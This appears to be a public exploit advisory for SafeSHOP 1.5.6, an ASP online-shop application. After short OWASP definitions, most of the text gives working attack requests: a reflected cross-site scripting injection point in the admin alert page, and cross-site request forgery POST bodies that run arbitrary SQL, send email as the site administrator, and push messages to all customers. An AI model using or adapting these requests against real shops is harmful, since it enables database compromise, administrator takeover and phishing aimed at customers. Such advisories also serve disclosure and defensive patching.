SafeSHOP 1.5.6 – Cross-Site Scripting / Multiple Cross-Site Request Forgery Vulnerabilities
# Exploit Title: SafeSHOP <= 1.5.6 Cross Site Scripting & Multiple Cross Site Request Forgery. # Date: 15/03/10 # Author: cp77fk4r | empty0page[SHIFT+2]gmail.com<http://gmail.com> | www.DigitalWhisper.co.il<http://www.DigitalWhisper.co.il> # Software Link: safeshop.co.il<http://safeshop.co.il> # Version: <= 1.5.6 # Tested on: ASP # ##[Cross Site Scripting] Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it. (OWASP) # (the victim must by logged as admin) http://[SITE]/admin/system-alert.asp?errMsg=[YOUR_XSS_HERE] # # ##[SQL Injection by CSRF:] CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application. (OWASP) # Page: http://[SITE]/admin/utilities_SQL.asp # [HTTP POST REQUEST] mySQL=[YOUR_SQL_QUERY_HERE]&Submit=+%D7%91%D7%A6%D7%A2+%D7%A9%D7%90%D7%99%D7%9C%D7%AA%D7%94+ # # ##[Send Email from Admin by CSRF:] # Page: http://[SITE]/admin/email_exec.asp # [HTTP POST] emailFrom=[ADMIN@SITE_DOMAIM]&emailTo=[TO]&emailSubj=[EMAIL_SUBJET_HERE]&emailBody=[EMAIL_BODY_HERE]&sendDup=1&Submit=++%D7%A9%D7%9C%D7%97+%D7%93%D7%95%D7%90%D7%A8+%D7%90%D7%9C%D7%A7%D7%98%D7%A8%D7%95%D7%A0%D7%99++ # # ##[Send Msg to all costumers by CSRF:] # Page: http://[SITE]/admin/SA_news_exec.asp # [HTTP POST] newsSubj=[MSG_SUBJECT_HERE]&viewCust=Y&newsBody=%0D%0A%0D%0A%0D%0A%3Cdiv+style%3D%22direction%3A+ltr%3B%22%3E[MSG_BODY_HERE]%3C%2Fdiv%3E+&MyAction=add&idNews=&submit1=++%D7%94%D7%95%D7%A1%D7%A3+%D7%94%D7%95%D7%93%D7%A2%D7%94++ # # [e0f] |